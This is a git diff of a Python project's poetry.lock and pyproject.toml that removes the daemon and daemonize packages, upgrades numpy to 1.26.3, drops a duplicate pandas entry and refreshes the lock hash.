"1.2" -description = "" -optional = false -python-versions = "*" -files = [ - {file = "daemon-1.2.tar.gz", hash = "sha256:8b658d82e77e289cb6a4d2daff80b565556d5a54c594c9b4a864af0f89dff2af"}, -] - -[[package]] -name = "daemonize" -version = "2.5.0" -description = "Library to enable your code run as a daemon process on Unix-like systems." -optional = false -python-versions = "*" -files = [ - {file = "daemonize-2.5.0-py2.py3-none-any.whl", hash = "sha256:9b6b91311a9d934ff3f5f766666635ca280d3de8e7137e4cd7d3f052543b989f"}, - {file = "daemonize-2.5.0.tar.gz", hash = "sha256:dd026e4ff8d22cb016ed2130bc738b7d4b1da597ef93c074d2adb9e4dea08bc3"}, -] - [[package]] name = "docstring-parser" version = "0.15" @@ -118,137 +97,49 @@ files = [ [[package]] name = "numpy" -version = "1.25.2" +version = "1.26.3" description = "Fundamental package for array computing in Python" optional = false python-versions = ">=3.9" files = [ - {file = "numpy-1.25.2-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:db3ccc4e37a6873045580d413fe79b68e47a681af8db2e046f1dacfa11f86eb3"}, - {file = "numpy-1.25.2-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:90319e4f002795ccfc9050110bbbaa16c944b1c37c0baeea43c5fb881693ae1f"}, - {file = "numpy-1.25.2-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:dfe4a913e29b418d096e696ddd422d8a5d13ffba4ea91f9f60440a3b759b0187"}, - {file = "numpy-1.25.2-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f08f2e037bba04e707eebf4bc934f1972a315c883a9e0ebfa8a7756eabf9e357"}, - {file = "numpy-1.25.2-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:bec1e7213c7cb00d67093247f8c4db156fd03075f49876957dca4711306d39c9"}, - {file = "numpy-1.25.2-cp310-cp310-win32.whl", hash = "sha256:7dc869c0c75988e1c693d0e2d5b26034644399dd929bc049db55395b1379e044"}, - {file = "numpy-1.25.2-cp310-cp310-win_amd64.whl", hash = "sha256:834b386f2b8210dca38c71a6e0f4fd6922f7d3fcff935dbe3a570945acb1b545"}, - {file = "numpy-1.25.2-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:c5462d19336db4560041517dbb7759c21d181a67cb01b36ca109b2ae37d32418"}, - {file = "numpy-1.25.2-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:c5652ea24d33585ea39eb6a6a15dac87a1206a692719ff45d53c5282e66d4a8f"}, - {file = "numpy-1.25.2-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:0d60fbae8e0019865fc4784745814cff1c421df5afee233db6d88ab4f14655a2"}, - {file = "numpy-1.25.2-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:60e7f0f7f6d0eee8364b9a6304c2845b9c491ac706048c7e8cf47b83123b8dbf"}, - {file = "numpy-1.25.2-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:bb33d5a1cf360304754913a350edda36d5b8c5331a8237268c48f91253c3a364"}, - {file = "numpy-1.25.2-cp311-cp311-win32.whl", hash = "sha256:5883c06bb92f2e6c8181df7b39971a5fb436288db58b5a1c3967702d4278691d"}, - {file = "numpy-1.25.2-cp311-cp311-win_amd64.whl", hash = "sha256:5c97325a0ba6f9d041feb9390924614b60b99209a71a69c876f71052521d42a4"}, - {file = "numpy-1.25.2-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:b79e513d7aac42ae918db3ad1341a015488530d0bb2a6abcbdd10a3a829ccfd3"}, - {file = "numpy-1.25.2-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:eb942bfb6f84df5ce05dbf4b46673ffed0d3da59f13635ea9b926af3deb76926"}, - {file = "numpy-1.25.2-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3e0746410e73384e70d286f93abf2520035250aad8c5714240b0492a7302fdca"}, - {file = "numpy-1.25.2-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:d7806500e4f5bdd04095e849265e55de20d8cc4b661b038957354327f6d9b295"}, - {file = "numpy-1.25.2-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:8b77775f4b7df768967a7c8b3567e309f617dd5e99aeb886fa14dc1a0791141f"}, - {file = "numpy-1.25.2-cp39-cp39-win32.whl", hash = "sha256:2792d23d62ec51e50ce4d4b7d73de8f67a2fd3ea710dcbc8563a51a03fb07b01"}, - {file = "numpy-1.25.2-cp39-cp39-win_amd64.whl", hash = "sha256:76b4115d42a7dfc5d485d358728cdd8719be33cc5ec6ec08632a5d6fca2ed380"}, - {file = "numpy-1.25.2-pp39-pypy39_pp73-macosx_10_9_x86_64.whl", hash = "sha256:1a1329e26f46230bf77b02cc19e900db9b52f398d6722ca853349a782d4cff55"}, - {file = "numpy-1.25.2-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:4c3abc71e8b6edba80a01a52e66d83c5d14433cbcd26a40c329ec7ed09f37901"}, - {file = "numpy-1.25.2-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:1b9735c27cea5d995496f46a8b1cd7b408b3f34b6d50459d9ac8fe3a20cc17bf"}, - {file = "numpy-1.25.2.tar.gz", hash = "sha256:fd608e19c8d7c55021dffd43bfe5492fab8cc105cc8986f813f8c3c048b38760"}, + {file = "numpy-1.26.3-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:806dd64230dbbfaca8a27faa64e2f414bf1c6622ab78cc4264f7f5f028fee3bf"}, + {file = "numpy-1.26.3-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:02f98011ba4ab17f46f80f7f8f1c291ee7d855fcef0a5a98db80767a468c85cd"}, + {file = "numpy-1.26.3-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:6d45b3ec2faed4baca41c76617fcdcfa4f684ff7a151ce6fc78ad3b6e85af0a6"}, + {file = "numpy-1.26.3-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:bdd2b45bf079d9ad90377048e2747a0c82351989a2165821f0c96831b4a2a54b"}, + {file = "numpy-1.26.3-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:211ddd1e94817ed2d175b60b6374120244a4dd2287f4ece45d49228b4d529178"}, + {file = "numpy-1.26.3-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:b1240f767f69d7c4c8a29adde2310b871153df9b26b5cb2b54a561ac85146485"}, + {file = "numpy-1.26.3-cp310-cp310-win32.whl", hash = "sha256:21a9484e75ad018974a2fdaa216524d64ed4212e418e0a551a2d83403b0531d3"}, + {file = "numpy-1.26.3-cp310-cp310-win_amd64.whl", hash = "sha256:9e1591f6ae98bcfac2a4bbf9221c0b92ab49762228f38287f6eeb5f3f55905ce"}, + {file = "numpy-1.26.3-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:b831295e5472954104ecb46cd98c08b98b49c69fdb7040483aff799a755a7374"}, + {file = "numpy-1.26.3-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:9e87562b91f68dd8b1c39149d0323b42e0082db7ddb8e934ab4c292094d575d6"}, + {file = "numpy-1.26.3-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:8c66d6fec467e8c0f975818c1796d25c53521124b7cfb760114be0abad53a0a2"}, + {file = "numpy-1.26.3-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f25e2811a9c932e43943a2615e65fc487a0b6b49218899e62e426e7f0a57eeda"}, + {file = "numpy-1.26.3-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:af36e0aa45e25c9f57bf684b1175e59ea05d9a7d3e8e87b7ae1a1da246f2767e"}, + {file = "numpy-1.26.3-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:51c7f1b344f302067b02e0f5b5d2daa9ed4a721cf49f070280ac202738ea7f00"}, + {file = "numpy-1.26.3-cp311-cp311-win32.whl", hash = "sha256:7ca4f24341df071877849eb2034948459ce3a07915c2734f1abb4018d9c49d7b"}, + {file = "numpy-1.26.3-cp311-cp311-win_amd64.whl", hash = "sha256:39763aee6dfdd4878032361b30b2b12593fb445ddb66bbac802e2113eb8a6ac4"}, + {file = "numpy-1.26.3-cp312-cp312-macosx_10_9_x86_64.whl", hash = "sha256:a7081fd19a6d573e1a05e600c82a1c421011db7935ed0d5c483e9dd96b99cf13"}, + {file = "numpy-1.26.3-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:12c70ac274b32bc00c7f61b515126c9205323703abb99cd41836e8125ea0043e"}, + {file = "numpy-1.26.3-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:7f784e13e598e9594750b2ef6729bcd5a47f6cfe4a12cca13def35e06d8163e3"}, + {file = "numpy-1.26.3-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:5f24750ef94d56ce6e33e4019a8a4d68cfdb1ef661a52cdaee628a56d2437419"}, + {file = "numpy-1.26.3-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:77810ef29e0fb1d289d225cabb9ee6cf4d11978a00bb99f7f8ec2132a84e0166"}, + {file = "numpy-1.26.3-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:8ed07a90f5450d99dad60d3799f9c03c6566709bd53b497eb9ccad9a55867f36"}, + {file = "numpy-1.26.3-cp312-cp312-win32.whl", hash = "sha256:f73497e8c38295aaa4741bdfa4fda1a5aedda5473074369eca10626835445511"}, + {file = "numpy-1.26.3-cp312-cp312-win_amd64.whl", hash = "sha256:da4b0c6c699a0ad73c810736303f7fbae483bcb012e38d7eb06a5e3b432c981b"}, + {file = "numpy-1.26.3-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:1666f634cb3c80ccbd77ec97bc17337718f56d6658acf5d3b906ca03e90ce87f"}, + {file = "numpy-1.26.3-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:18c3319a7d39b2c6a9e3bb75aab2304ab79a811ac0168a671a62e6346c29b03f"}, + {file = "numpy-1.26.3-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:0b7e807d6888da0db6e7e75838444d62495e2b588b99e90dd80c3459594e857b"}, + {file = "numpy-1.26.3-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:b4d362e17bcb0011738c2d83e0a65ea8ce627057b2fdda37678f4374a382a137"}, + {file = "numpy-1.26.3-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:b8c275f0ae90069496068c714387b4a0eba5d531aace269559ff2b43655edd58"}, + {file = "numpy-1.26.3-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:cc0743f0302b94f397a4a65a660d4cd24267439eb16493fb3caad2e4389bccbb"}, + {file = "numpy-1.26.3-cp39-cp39-win32.whl", hash = "sha256:9bc6d1a7f8cedd519c4b7b1156d98e051b726bf160715b769106661d567b3f03"}, + {file = "numpy-1.26.3-cp39-cp39-win_amd64.whl", hash = "sha256:867e3644e208c8922a3be26fc6bbf112a035f50f0a86497f98f228c50c607bb2"}, + {file = "numpy-1.26.3-pp39-pypy39_pp73-macosx_10_9_x86_64.whl", hash = "sha256:3c67423b3703f8fbd90f5adaa37f85b5794d3366948efe9a5190a5f3a83fc34e"}, + {file = "numpy-1.26.3-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:46f47ee566d98849323f01b349d58f2557f02167ee301e5e28809a8c0e27a2d0"}, + {file = "numpy-1.26.3-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:a8474703bffc65ca15853d5fd4d06b18138ae90c17c8d12169968e998e448bb5"}, + {file = "numpy-1.26.3.tar.gz", hash = "sha256:697df43e2b6310ecc9d95f05d5ef20eacc09c7c4ecc9da3f235d39e71b7da1e4"}, ] -[[package]] -name = "numpy" -version = "1.26.1" -description = "Fundamental package for array computing in Python" -optional = false -python-versions = "<3.13,>=3.9" -files = [ - {file = "numpy-1.26.1-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:82e871307a6331b5f09efda3c22e03c095d957f04bf6bc1804f30048d0e5e7af"}, - {file = "numpy-1.26.1-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:cdd9ec98f0063d93baeb01aad472a1a0840dee302842a2746a7a8e92968f9575"}, - {file = "numpy-1.26.1-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d78f269e0c4fd365fc2992c00353e4530d274ba68f15e968d8bc3c69ce5f5244"}, - {file = "numpy-1.26.1-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8ab9163ca8aeb7fd32fe93866490654d2f7dda4e61bc6297bf72ce07fdc02f67"}, - {file = "numpy-1.26.1-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:78ca54b2f9daffa5f323f34cdf21e1d9779a54073f0018a3094ab907938331a2"}, - {file = "numpy-1.26.1-cp310-cp310-win32.whl", hash = "sha256:d1cfc92db6af1fd37a7bb58e55c8383b4aa1ba23d012bdbba26b4bcca45ac297"}, - {file = "numpy-1.26.1-cp310-cp310-win_amd64.whl", hash = "sha256:d2984cb6caaf05294b8466966627e80bf6c7afd273279077679cb010acb0e5ab"}, - {file = "numpy-1.26.1-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:cd7837b2b734ca72959a1caf3309457a318c934abef7a43a14bb984e574bbb9a"}, - {file = "numpy-1.26.1-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:1c59c046c31a43310ad0199d6299e59f57a289e22f0f36951ced1c9eac3665b9"}, - {file = "numpy-1.26.1-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d58e8c51a7cf43090d124d5073bc29ab2755822181fcad978b12e144e5e5a4b3"}, - {file = "numpy-1.26.1-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:6081aed64714a18c72b168a9276095ef9155dd7888b9e74b5987808f0dd0a974"}, - {file = "numpy-1.26.1-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:97e5d6a9f0702c2863aaabf19f0d1b6c2628fbe476438ce0b5ce06e83085064c"}, - {file = "numpy-1.26.1-cp311-cp311-win32.whl", hash = "sha256:b9d45d1dbb9de84894cc50efece5b09939752a2d75aab3a8b0cef6f3a35ecd6b"}, - {file = "numpy-1.26.1-cp311-cp311-win_amd64.whl", hash = "sha256:3649d566e2fc067597125428db15d60eb42a4e0897fc48d28cb75dc2e0454e53"}, - {file = "numpy-1.26.1-cp312-cp312-macosx_10_9_x86_64.whl", hash = "sha256:1d1bd82d539607951cac963388534da3b7ea0e18b149a53cf883d8f699178c0f"}, - {file = "numpy-1.26.1-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:afd5ced4e5a96dac6725daeb5242a35494243f2239244fad10a90ce58b071d24"}, - {file = "numpy-1.26.1-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a03fb25610ef560a6201ff06df4f8105292ba56e7cdd196ea350d123fc32e24e"}, - {file = "numpy-1.26.1-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:dcfaf015b79d1f9f9c9fd0731a907407dc3e45769262d657d754c3a028586124"}, - {file = "numpy-1.26.1-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:e509cbc488c735b43b5ffea175235cec24bbc57b227ef1acc691725beb230d1c"}, - {file = "numpy-1.26.1-cp312-cp312-win32.whl", hash = "sha256:af22f3d8e228d84d1c0c44c1fbdeb80f97a15a0abe4f080960393a00db733b66"}, - {file = "numpy-1.26.1-cp312-cp312-win_amd64.whl", hash = "sha256:9f42284ebf91bdf32fafac29d29d4c07e5e9d1af862ea73686581773ef9e73a7"}, - {file = "numpy-1.26.1-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:bb894accfd16b867d8643fc2ba6c8617c78ba2828051e9a69511644ce86ce83e"}, - {file = "numpy-1.26.1-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:e44ccb93f30c75dfc0c3aa3ce38f33486a75ec9abadabd4e59f114994a9c4617"}, - {file = "numpy-1.26.1-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:9696aa2e35cc41e398a6d42d147cf326f8f9d81befcb399bc1ed7ffea339b64e"}, - {file = "numpy-1.26.1-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:a5b411040beead47a228bde3b2241100454a6abde9df139ed087bd73fc0a4908"}, - {file = "numpy-1.26.1-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:1e11668d6f756ca5ef534b5be8653d16c5352cbb210a5c2a79ff288e937010d5"}, - {file = "numpy-1.26.1-cp39-cp39-win32.whl", hash = "sha256:d1d2c6b7dd618c41e202c59c1413ef9b2c8e8a15f5039e344af64195459e3104"}, - {file = "numpy-1.26.1-cp39-cp39-win_amd64.whl", hash = "sha256:59227c981d43425ca5e5c01094d59eb14e8772ce6975d4b2fc1e106a833d5ae2"}, - {file = "numpy-1.26.1-pp39-pypy39_pp73-macosx_10_9_x86_64.whl", hash = "sha256:06934e1a22c54636a059215d6da99e23286424f316fddd979f5071093b648668"}, - {file = "numpy-1.26.1-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:76ff661a867d9272cd2a99eed002470f46dbe0943a5ffd140f49be84f68ffc42"}, - {file = "numpy-1.26.1-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:6965888d65d2848e8768824ca8288db0a81263c1efccec881cb35a0d805fcd2f"}, - {file = "numpy-1.26.1.tar.gz", hash = "sha256:c8c6c72d4a9f831f328efb1312642a1cafafaa88981d9ab76368d50d07d93cbe"}, -] - -[[package]] -name = "pandas" -version = "2.1.0" -description = "Powerful data structures for data analysis, time series, and statistics" -optional = false -python-versions = ">=3.9" -files = [ - {file = "pandas-2.1.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:40dd20439ff94f1b2ed55b393ecee9cb6f3b08104c2c40b0cb7186a2f0046242"}, - {file = "pandas-2.1.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:d4f38e4fedeba580285eaac7ede4f686c6701a9e618d8a857b138a126d067f2f"}, - {file = "pandas-2.1.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:6e6a0fe052cf27ceb29be9429428b4918f3740e37ff185658f40d8702f0b3e09"}, - {file = "pandas-2.1.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9d81e1813191070440d4c7a413cb673052b3b4a984ffd86b8dd468c45742d3cc"}, - {file = "pandas-2.1.0-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:eb20252720b1cc1b7d0b2879ffc7e0542dd568f24d7c4b2347cb035206936421"}, - {file = "pandas-2.1.0-cp310-cp310-win_amd64.whl", hash = "sha256:38f74ef7ebc0ffb43b3d633e23d74882bce7e27bfa09607f3c5d3e03ffd9a4a5"}, - {file = "pandas-2.1.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:cda72cc8c4761c8f1d97b169661f23a86b16fdb240bdc341173aee17e4d6cedd"}, - {file = "pandas-2.1.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:d97daeac0db8c993420b10da4f5f5b39b01fc9ca689a17844e07c0a35ac96b4b"}, - {file = "pandas-2.1.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d8c58b1113892e0c8078f006a167cc210a92bdae23322bb4614f2f0b7a4b510f"}, - {file = "pandas-2.1.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:629124923bcf798965b054a540f9ccdfd60f71361255c81fa1ecd94a904b9dd3"}, - {file = "pandas-2.1.0-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:70cf866af3ab346a10debba8ea78077cf3a8cd14bd5e4bed3d41555a3280041c"}, - {file = "pandas-2.1.0-cp311-cp311-win_amd64.whl", hash = "sha256:d53c8c1001f6a192ff1de1efe03b31a423d0eee2e9e855e69d004308e046e694"}, - {file = "pandas-2.1.0-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:86f100b3876b8c6d1a2c66207288ead435dc71041ee4aea789e55ef0e06408cb"}, - {file = "pandas-2.1.0-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:28f330845ad21c11db51e02d8d69acc9035edfd1116926ff7245c7215db57957"}, - {file = "pandas-2.1.0-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:b9a6ccf0963db88f9b12df6720e55f337447aea217f426a22d71f4213a3099a6"}, - {file = "pandas-2.1.0-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:d99e678180bc59b0c9443314297bddce4ad35727a1a2656dbe585fd78710b3b9"}, - {file = "pandas-2.1.0-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:b31da36d376d50a1a492efb18097b9101bdbd8b3fbb3f49006e02d4495d4c644"}, - {file = "pandas-2.1.0-cp39-cp39-win_amd64.whl", hash = "sha256:0164b85937707ec7f70b34a6c3a578dbf0f50787f910f21ca3b26a7fd3363437"}, - {file = "pandas-2.1.0.tar.gz", hash = "sha256:62c24c7fc59e42b775ce0679cfa7b14a5f9bfb7643cfbe708c960699e05fb918"}, -] - -[package.dependencies] -numpy = {version = ">=1.23.2", markers = "python_version >= \"3.11\""} -python-dateutil = ">=2.8.2" -pytz = ">=2020.1" -tzdata = ">=2022.1" - -[package.extras] -all = ["PyQt5 (>=5.15.6)", "SQLAlchemy (>=1.4.36)", "beautifulsoup4 (>=4.11.1)", "bottleneck (>=1.3.4)", "dataframe-api-compat (>=0.1.7)", "fastparquet (>=0.8.1)", "fsspec (>=2022.05.0)", "gcsfs (>=2022.05.0)", "html5lib (>=1.1)", "hypothesis (>=6.46.1)", "jinja2 (>=3.1.2)", "lxml (>=4.8.0)", "matplotlib (>=3.6.1)", "numba (>=0.55.2)", "numexpr (>=2.8.0)", "odfpy (>=1.4.1)", "openpyxl (>=3.0.10)", "pandas-gbq (>=0.17.5)", "psycopg2 (>=2.9.3)", "pyarrow (>=7.0.0)", "pymysql (>=1.0.2)", "pyreadstat (>=1.1.5)", "pytest (>=7.3.2)", "pytest-asyncio (>=0.17.0)", "pytest-xdist (>=2.2.0)", "pyxlsb (>=1.0.9)", "qtpy (>=2.2.0)", "s3fs (>=2022.05.0)", "scipy (>=1.8.1)", "tables (>=3.7.0)", "tabulate (>=0.8.10)", "xarray (>=2022.03.0)", "xlrd (>=2.0.1)", "xlsxwriter (>=3.0.3)", "zstandard (>=0.17.0)"] -aws = ["s3fs (>=2022.05.0)"] -clipboard = ["PyQt5 (>=5.15.6)", "qtpy (>=2.2.0)"] -compression = ["zstandard (>=0.17.0)"] -computation = ["scipy (>=1.8.1)", "xarray (>=2022.03.0)"] -consortium-standard = ["dataframe-api-compat (>=0.1.7)"] -excel = ["odfpy (>=1.4.1)", "openpyxl (>=3.0.10)", "pyxlsb (>=1.0.9)", "xlrd (>=2.0.1)", "xlsxwriter (>=3.0.3)"] -feather = ["pyarrow (>=7.0.0)"] -fss = ["fsspec (>=2022.05.0)"] -gcp = ["gcsfs (>=2022.05.0)", "pandas-gbq (>=0.17.5)"] -hdf5 = ["tables (>=3.7.0)"] -html = ["beautifulsoup4 (>=4.11.1)", "html5lib (>=1.1)", "lxml (>=4.8.0)"] -mysql = ["SQLAlchemy (>=1.4.36)", "pymysql (>=1.0.2)"] -output-formatting = ["jinja2 (>=3.1.2)", "tabulate (>=0.8.10)"] -parquet = ["pyarrow (>=7.0.0)"] -performance = ["bottleneck (>=1.3.4)", "numba (>=0.55.2)", "numexpr (>=2.8.0)"] -plot = ["matplotlib (>=3.6.1)"] -postgresql = ["SQLAlchemy (>=1.4.36)", "psycopg2 (>=2.9.3)"] -spss = ["pyreadstat (>=1.1.5)"] -sql-other = ["SQLAlchemy (>=1.4.36)"] -test = ["hypothesis (>=6.46.1)", "pytest (>=7.3.2)", "pytest-asyncio (>=0.17.0)", "pytest-xdist (>=2.2.0)"] -xml = ["lxml (>=4.8.0)"] - [[package]] name = "pandas" version = "2.1.1" @@ -284,7 +175,10 @@ files = [ ] [package.dependencies] -numpy = {version = ">=1.23.2", markers = "python_version == \"3.11\""} +numpy = [ + {version = ">=1.23.2", markers = "python_version == \"3.11\""}, + {version = ">=1.26.0", markers = "python_version >= \"3.12\""}, +] python-dateutil = ">=2.8.2" pytz = ">=2020.1" tzdata = ">=2022.1" @@ -409,4 +303,4 @@ files = [ [metadata] lock-version = "2.0" python-versions = "^3.11" -content-hash = "04596bf28419e3f62541cfe785f8cba26bfab7e5e44f31efbe737947c39324ec" +content-hash = "2bb920cc68aa6158f1d5f4b53aa0a0f2c60e0f246991e1b911567cd9644b1bb2" diff --git a/pyproject.toml b/pyproject.toml index 11f95e7..a6d1267 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -14,8 +14,6 @@ art = "^6.0" scapy = "^2.5.0" configobj = "^5.0.8" pandas = "^2.1.0" -daemon = "^1.2" -daemonize = "^2.5.0" getmac = "^0.9.4" faker-wifi-essid = "^0.4.1" simple-parsing = "^0.1.4"